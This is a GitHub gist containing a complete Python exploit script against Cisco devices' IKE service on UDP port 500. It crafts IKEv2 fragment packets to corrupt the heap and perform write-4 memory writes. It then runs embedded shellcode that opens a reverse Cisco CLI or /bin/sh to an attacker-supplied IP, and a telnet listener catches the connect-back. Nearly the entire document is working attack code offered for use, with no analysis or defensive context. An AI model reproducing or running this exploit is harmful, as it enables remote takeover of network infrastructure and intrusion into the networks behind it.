-
-
Save andreafortuna/657ed351b1231bfa43ffe8a603c3fb95 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2.7 | |
import socket | |
import sys | |
import struct | |
import string | |
import random | |
import time | |
# Spawns a reverse cisco CLI | |
cliShellcode = ( | |
"\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04" | |
"\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08" | |
"\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1" | |
"\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7" | |
"\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8" | |
"\x00\x00\x00\xef\xcd\x1c\xa1\x55\x31\xed\x31\xff\x4f\xbe\x22\x00" | |
"\x00\x00\xba\x07\x00\x00\x00\xb9\x00\x10\x00\x00\x31\xdb\xb8\xc0" | |
"\x00\x00\x00\xcd\x80\x5d\x89\xc7\xeb\x26\x5e\xb9\x00\x04\x00\x00" | |
"\xf3\xa5\x31\xdb\x6a\x03\x68\x00\x20\x00\x00\x53\x50\x68\xfd\xa8" | |
"\xff\x09\xb8\xf0\xb7\x06\x08\xff\xd0\x83\xc4\x14\x61\x31\xc0\xc3" | |
"\xe8\xd5\xff\xff\xff\x55\x89\xe5\x81\xec\x10\x04\x00\x00\xe9\xb1" | |
"\x00\x00\x00\x58\x89\x85\xfc\xfb\xff\xff\x50\xb8\xf0\x07\x07\x08" | |
"\xff\xd0\x83\xc4\x04\x89\x85\xf8\xfb\xff\xff\x89\xc3\x8b\x43\x04" | |
"\x68\x80\xee\x36\x00\x68\x1a\x90\x01\x00\x53\xff\x50\x70\xc7\x44" | |
"\x24\x04\x20\x90\x01\x00\x8b\x43\x04\xff\x50\x70\xc7\x85\xf4\xfb" | |
"\xff\xff\x00\x40\x00\x00\x8d\x8d\xf4\xfb\xff\xff\x89\x4c\x24\x08" | |
"\xc7\x44\x24\x04\x21\x90\x01\x00\x89\x1c\x24\x8b\x43\x04\xff\x50" | |
"\x70\xbe\xc8\xef\xff\xff\x65\x8b\x06\x89\x98\x98\x00\x00\x00\xeb" | |
"\x3a\xb8\x80\x0a\x0f\x08\xff\xd0\x5b\xc7\x43\x0c\xff\xff\xff\x17" | |
"\x83\xc3\x14\xc7\x03\x65\x6e\x61\x62\xc7\x43\x04\x6c\x65\x5f\x31" | |
"\xc7\x43\x08\x35\x00\x00\x00\x6a\x04\x68\x60\xc1\x52\x0a\xb8\x20" | |
"\x68\x0f\x08\xff\xd0\x89\xec\x5d\x31\xc0\xc3\xe8\xc1\xff\xff\xff" | |
"\x60\xc1\x52\x0a\xe8\x4a\xff\xff\xfftcp/CONNECT/3/@IP@/@PORT@\x00" | |
) | |
# Spawns a reverse "/bin/sh" | |
shShellcode = ( | |
"\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04" | |
"\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08" | |
"\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1" | |
"\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7" | |
"\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8" | |
"\x00\x00\x00\xef\xcd\x1c\xa1\xb8\x40\xbc\x2a\x09\xff\xd0\x61\xb8" | |
"\x02\x00\x00\x00\xcd\x80\x85\xc0\x0f\x85\xa1\x01\x00\x00\xba\xed" | |
"\x01\x00\x00\xb9\xc2\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x74" | |
"\x6d\x70\x8d\x1c\x24\xb8\x05\x00\x00\x00\xcd\x80\x50\xeb\x31\x59" | |
"\x8b\x11\x8d\x49\x04\x89\xc3\xb8\x04\x00\x00\x00\xcd\x80\x5b\xb8" | |
"\x06\x00\x00\x00\xcd\x80\x8d\x1c\x24\x31\xd2\x52\x53\x8d\x0c\x24" | |
"\xb8\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80" | |
"\xe8\xca\xff\xff\xff\x46\x01\x00\x00\x7f\x45\x4c\x46\x01\x01\x01" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00" | |
"\x00\x54\x80\x04\x08\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x00\x34\x00\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xf2\x00\x00" | |
"\x00\xf2\x00\x00\x00\x07\x00\x00\x00\x00\x10\x00\x00\x55\x89\xe5" | |
"\x83\xec\x10\x6a\x00\x6a\x01\x6a\x02\x8d\x0c\x24\xbb\x01\x00\x00" | |
"\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4\x0c\x89\x45\xfc\x68\x7f" | |
"\x00\x00\x01\x68\x02\x00\x04\x38\x8d\x14\x24\x6a\x10\x52\x50\x8d" | |
"\x0c\x24\xbb\x03\x00\x00\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4" | |
"\x14\x85\xc0\x7d\x18\x6a\x00\x6a\x01\x8d\x1c\x24\x31\xc9\xb8\xa2" | |
"\x00\x00\x00\xcd\x80\x83\xc4\x08\xeb\xc4\x8b\x45\xfc\x83\xec\x20" | |
"\x8d\x0c\x24\xba\x03\x00\x00\x00\x8b\x5d\xfc\xc7\x01\x05\x01\x00" | |
"\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x04\x00\x00\x00\xb8\x03\x00" | |
"\x00\x00\xcd\x80\xc7\x01\x05\x01\x00\x01\xc7\x41\x04\x0a\x64\x00" | |
"\x01\x66\xc7\x41\x08\x11\x5c\xba\x0a\x00\x00\x00\xb8\x04\x00\x00" | |
"\x00\xcd\x80\xba\x20\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\x83" | |
"\xc4\x20\x8b\x5d\xfc\xb9\x02\x00\x00\x00\xb8\x3f\x00\x00\x00\xcd" | |
"\x80\x49\x7d\xf6\x31\xd2\x68\x2d\x69\x00\x00\x89\xe7\x68\x2f\x73" | |
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x8d\x0c\x24\xb8" | |
"\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\x31" | |
"\xc0\xc3" | |
) | |
# SA Session | |
class Session(object): | |
def __init__(self, host_port, id = None): | |
if id == None: | |
id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) | |
self._host, self._port = host_port | |
self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
self._id = id | |
self._mid = 1 | |
# Init session | |
print("[+] Using session ID: " + self._id) | |
self.send(self.make_SA()) | |
# Check if we got something | |
res = self.recv() | |
cookie = res[8:16] | |
print("[+] Cookie: " + cookie) | |
self._cookie = cookie | |
# Enforce value of 0x21 | |
if ord(res[16]) != 0x21: | |
raise Exception("Invalid router response") | |
print("[+] New SA successfuly created.") | |
# UPD socket helpers | |
def send(self, buf): | |
self._sock.sendto(buf, (self._host, self._port)) | |
def recv(self, size = 4096): | |
data, addr = self._sock.recvfrom(size) | |
return data | |
def make_SA(self): | |
buf = "" | |
buf += self._id # Initiator SPI | |
buf += "\x00"*8 # Responder SPI | |
buf += "\x21" # next payload (security association) | |
buf += "\x20" # version | |
buf += "\x22" # exchange type | |
buf += "\x08" # flags | |
buf += "\x00"*4 # message ID | |
buf += "$$$$" # length | |
# stolen from pcap | |
# THIS IS SECURITY ASSOCIATION | |
buf += "\x22\x00\x00\x6c\x00\x00\x00\x68\x01\x01\x00\x0b\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x01\x00\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x01\x00\x00\x03\x03\x00\x00\x08\x01\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x01\x03\x00\x00\x08\x03\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x01\x03\x00\x00\x08\x04\x00\x00\x02\x03\x00\x00\x08\x04\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x0e" | |
# THIS IS KEY EXCHANGE | |
# this is the type of the next payload... | |
buf += "\x28" # 0x28 = Nonce, 0x2b = vendor ID | |
# KEY EXCHANGE DATA | |
buf += "\x00\x00\x88\x00\x02\x00\x00\x50\xea\xf4\x54\x1c\x61\x24\x1b\x59\x3f\x48\xcb\x12\x8c\xf1\x7f\x5f\xd4\xd8\xe9\xe2\xfd\x3c\x66\x70\xef\x08\xf6\x56\xcd\x83\x16\x65\xc1\xdf\x1c\x2b\xb1\xc4\x92\xca\xcb\xd2\x68\x83\x8e\x2f\x12\x94\x12\x48\xec\x78\x4b\x5d\xf3\x57\x87\x36\x1b\xba\x5b\x34\x6e\xec\x7e\x39\xc1\xc2\x2d\xf9\x77\xcc\x19\x39\x25\x64\xeb\xb7\x85\x5b\x16\xfc\x2c\x58\x56\x11\xfe\x49\x71\x32\xe9\xe8\x2d\x27\xbe\x78\x71\x97\x7a\x74\x42\x30\x56\x62\xa2\x99\x9c\x56\x0f\xfe\xd0\xa2\xe6\x8f\x72\x5f\xc3\x87\x4c\x7c\x9b\xa9\x80\xf1\x97\x57\x92" | |
# this is the Nonce payload | |
buf += "\x2b" | |
buf += "\x00\x00\x18\x97\x40\x6a\x31\x04\x4d\x3f\x7d\xea\x84\x80\xe9\xc8\x41\x5f\x84\x49\xd3\x8c\xee" | |
# lets try a vendor id or three | |
buf += "\x2b" # next payload, more vendor ID | |
buf += "\x00" # critical bit | |
vid = "CISCO-DELETE-REASON" | |
buf += struct.pack(">H", len(vid)+4) | |
buf += vid | |
# another vendor id | |
buf += "\x2b" # next payload, more vendor ID | |
buf += "\x00" # critical bit | |
vid = "CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc." | |
buf += struct.pack(">H", len(vid)+4) | |
buf += vid | |
# another vendor id | |
buf += "\x2b" # next payload, more vid | |
buf += "\x00" # crit | |
vid = "CISCO-GRE-MODE" | |
buf += struct.pack(">H", len(vid)+4) | |
buf += vid | |
# last vendor id | |
buf += "\x00" # next payload | |
buf += "\x00" | |
vid = "\x40\x48\xb7\xd5\x6e\xbc\xe8\x85\x25\xe7\xde\x7f\x00\xd6\xc2\xd3" | |
buf += struct.pack(">H", len(vid)+4) | |
buf += vid | |
return buf.replace("$$$$", struct.pack(">L", len(buf))) | |
def make_cisco_fragment(self, flength, seqno, fragid, lastfrag, sploit): | |
buf = '' | |
buf += self._id # Initiator SPI (random) | |
buf += self._cookie # Responder SPI | |
buf += "\x84" # next payload | |
buf += "\x20" # version | |
buf += "\x25" # exchange type (2=identify protection) | |
buf += "\x08" # flags | |
buf += "\x00\x00\x00\x01" # message ID | |
buf += "ABCD" # length | |
# PAYLOAD | |
payload = "" | |
payload += "\x00" # next payload (none) | |
payload += "\x00" # critical bit | |
payload += struct.pack(">H", flength) #payload_len) # length | |
payload += struct.pack(">H", fragid) # frag ID | |
payload += struct.pack("B", seqno) # frag sequence | |
payload += struct.pack("B", lastfrag) | |
payload += sploit | |
buf += payload | |
return buf.replace("ABCD", struct.pack(">L", len(buf))) | |
def send_fragment(self, flength, seqno, fragid, lastfrag, sploit): | |
buf = self.make_cisco_fragment(flength, seqno, fragid, lastfrag, sploit) | |
self.send(buf) | |
# We're not supposed to receive anything if everything went | |
# according to plan | |
def make_cisco_option_list(self, opt_lst): | |
buf = '' | |
buf += self._id # Initiator SPI (random) | |
buf += self._cookie # Responder SPI | |
buf += "\x2f" # next payload | |
buf += "\x20" # version | |
buf += "\x25" # exchange type (2=identify protection) | |
buf += "\x08" # flags | |
buf += struct.pack(">I", 1) # message ID | |
buf += "ABCD" # length | |
# PAYLOAD | |
payload = "" | |
payload += "\x00" # next payload (none) | |
payload += "\x00" # critical bit | |
payload += "EF" #payload_len) # length | |
payload += "\x03" # CFG_SET | |
payload += "\x00\x00\x00" # Reserved | |
total = 0x8 | |
for size, n in opt_lst: | |
option = struct.pack(">H", 0x6000) #id | |
option += struct.pack(">H", size) # data length | |
option += "A" * (size) | |
total += (size + 4) * n | |
payload += option * n | |
buf += payload | |
packet = buf.replace("ABCD", struct.pack(">L", len(buf))).replace("EF", struct.pack(">H", total)) | |
return packet | |
class Exploit(object): | |
def __init__(self, host, revHost, revPort = 4444): | |
self._host = host | |
self._port = 500 | |
self._revHost = revHost | |
self._revPort = revPort | |
self._sessions = [] | |
# Create a new SA session | |
def create_SA(self, id = None): | |
# Create a new socket for session | |
sess = Session((self._host, self._port), id) | |
# Append to session list | |
self._sessions.append(sess) | |
return sess | |
# Interact with reverse shell | |
def interact(self): | |
from telnetlib import Telnet | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
s.bind((self._revHost, self._revPort)) | |
s.listen(5) | |
cli = s.accept()[0] | |
s.close() | |
print("[+] Got connect-back") | |
t = Telnet() | |
t.sock = cli | |
t.interact() | |
def buildPayload(self, cli = False): | |
if cli == False: | |
buf = bytearray(shShellcode) | |
# Adjust IP and port | |
buf[0x1ad:0x1b1] = socket.inet_aton(self._revHost) | |
buf[0x1b5:0x1b7] = struct.pack(">H", self._revPort) | |
Shellcode = bytes(buf) | |
else: | |
Shellcode = cliShellcode.replace("@IP@", self._revHost).replace("@PORT@", str(self._revPort)) | |
return Shellcode | |
if __name__ == "__main__": | |
if len(sys.argv) < 3: | |
print("[+] Usage: {0:s} <cisco IP> <attacker IP>[:port]".format(sys.argv[0])) | |
sys.exit(0) | |
#TODO: Check host | |
host = sys.argv[1] | |
revHost = sys.argv[2] | |
# Parse revHost | |
port = 4444 | |
if revHost.rfind(":") != -1: | |
revHost, port = revHost.split(":") | |
port = int(port) | |
exploit = Exploit(host, revHost, port) | |
sess1 = exploit.create_SA() | |
sess2 = exploit.create_SA() | |
n = 0xd6 | |
sess2.send_fragment(0x8 + n + 3, 1, 5, 0, "A" * (n + 3)) | |
# Send packets which will trigger the vulnerability | |
# Weird packet to get a size of 0x1 | |
sess2.send_fragment(8 + -7, 0, 6, 1, "A" * (256 - 7)) | |
# This fragment will be the one being copied | |
# during the memory corruption | |
buf = "A" * (n - 0xd + 0x3) | |
buf += struct.pack("<I", 0xef000000) | |
buf += struct.pack("<I", 0x00a11ccd) # chunk magics | |
buf += struct.pack("<I", 0xe100d4d0) | |
buf += struct.pack("B", 0x61) # set size from 0x31 to 0x61 in order to encompass the | |
# adjacent chunk on free | |
sess2.send_fragment(8 + n + 3, 1, 6, 0, buf) | |
sess1.send_fragment(0x8 + 0xf8, 1, 0xeb, 0, "A" * 0xf8) | |
pkt = sess1.make_cisco_option_list(( | |
(0xd0, 0x30), | |
) | |
) | |
# Defragment heap | |
sess1.send(pkt) | |
sess1.send(pkt) | |
sess1.send(pkt) | |
# Prepare a fake chunk | |
buf = "" | |
buf += struct.pack("<I", 0x60) | |
buf += struct.pack("<I", 0x102) | |
buf += struct.pack("<I", 0xa11c0123) | |
buf += struct.pack("<I", 0xe0) | |
buf += "A" * 0xe8 | |
# And allocate it right after a 0x100 bytes hole | |
sess1.send_fragment(0x8 + 0xf8, 2, 0xeb, 0, buf) | |
# Trigger the overflow | |
sess2.send_fragment(8 + -7, 3, 6, 1, "A" * (256 - 7)) | |
# Retrieve of fake freed block | |
#buf = "\xcc" * (0xd0 - len(buf)) | |
buf = "\x00" * 0xd0 | |
buf += struct.pack("<I", 0xe100d4d0) | |
buf += struct.pack("<I", 0x31) | |
# this is a special writable address in the process | |
# it translate into the following executable code: | |
# nop / jmp [ecx] | |
# since ecx happens to hold a pointer to a controlled buffer | |
# the execution flow will be redirected to attacker controlled data | |
what = 0xc821ff90 | |
# Just some writable address in the process which doesn't seem to be used | |
where = 0xc8002000 - 0x8 | |
buf += struct.pack("<I", what) | |
buf += struct.pack("<I", where) | |
buf += struct.pack("<I", 0xf3ee0123) | |
buf += struct.pack("<I", 0x0) * 5 | |
buf += struct.pack("<I", 0x5ee33210) | |
buf += struct.pack("<I", 0xf3eecdef) | |
buf += struct.pack("<I", 0x30) | |
buf += struct.pack("<I", 0x132) | |
buf += struct.pack("<I", 0xa11c0123) | |
buf += struct.pack("<I", 0x100) | |
buf += struct.pack("<I", 0x0) * 2 | |
# Second write-4 pointers | |
# This is the address of the pointer to the "list_add" function | |
# which will give us control of execution flow | |
where = 0x0A99B7A4 - 0x10 | |
# This is the address where the opcode sequence "nop / jmp [ecx]" is located | |
what = 0xc8002000 | |
buf += struct.pack("<I", what) | |
buf += struct.pack("<I", where) | |
buf += "\x00" * (0x128 - len(buf)) | |
# Try to chain a config list and a fragment packet | |
packet = bytearray() | |
packet += sess1._id # Initiator SPI (random) | |
packet += sess1._cookie # Responder SPI | |
packet += "\x2f" # next payload option list | |
packet += "\x20" # version | |
packet += "\x25" # exchange type (2=identify protection) | |
packet += "\x08" # flags | |
packet += struct.pack(">I", 1) # message ID | |
packet += "XXXX" # total length including header | |
payload = bytearray() | |
payload += "\x00" # next payload (frag) | |
payload += "\x00" # critical bit | |
payload += "\x00\x00" # payload length | |
payload += "\x03" # CFG_SET | |
payload += "\x00\x00\x00" # Reserved | |
size = 0x130 | |
option = struct.pack(">H", 0x8400) #id | |
option += struct.pack(">H", size) # data length | |
option += "\x90" * 0x8 + buf | |
payload += option * 0x10 | |
# Update payload length | |
payload[2:4] = struct.pack(">H", len(payload)) | |
packet += payload | |
# Update payload length | |
packet[0x18:0x1C] = struct.pack(">I", len(packet)) | |
packet = bytes(packet) | |
# Reallocate the fake freed 0x130 bytes chunk with controlled data | |
# this way we can perform a write-4 memory corruption when freeing | |
# the subsequent memory | |
sess1.send(packet) | |
time.sleep(0.2) | |
#raw_input() | |
packet = bytearray() | |
packet += sess1._id # Initiator SPI (random) | |
packet += sess1._cookie # Responder SPI | |
packet += "\x84" # next payload option list | |
packet += "\x20" # version | |
packet += "\x25" # exchange type (2=identify protection) | |
packet += "\x08" # flags | |
packet += struct.pack(">I", 1) # message ID | |
packet += "XXXX" # total length including header | |
buf = exploit.buildPayload(cli = True) | |
flength = len(buf) + 0x8 | |
fragid = 0xeb | |
seqno = 0x5 | |
lastfrag = 0 | |
payload = bytearray() | |
# Jump over garbage directly into shellcode (interpreted as jmp +0x6) | |
payload += "\xeb" # next payload (none) | |
payload += "\x06" # critical bit | |
payload += struct.pack(">H", flength) #payload_len) # length | |
payload += struct.pack(">H", fragid) # frag ID | |
payload += struct.pack("B", seqno) # frag sequence | |
payload += struct.pack("B", lastfrag) | |
payload += buf | |
packet += payload | |
# Update payload length | |
packet[0x18:0x1C] = struct.pack(">I", len(packet)) | |
packet = bytes(packet) | |
# Trigger the 2 write-4 and get code execution | |
sess1.send(packet) | |
# Hopefully we'll get something interesting | |
exploit.interact() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment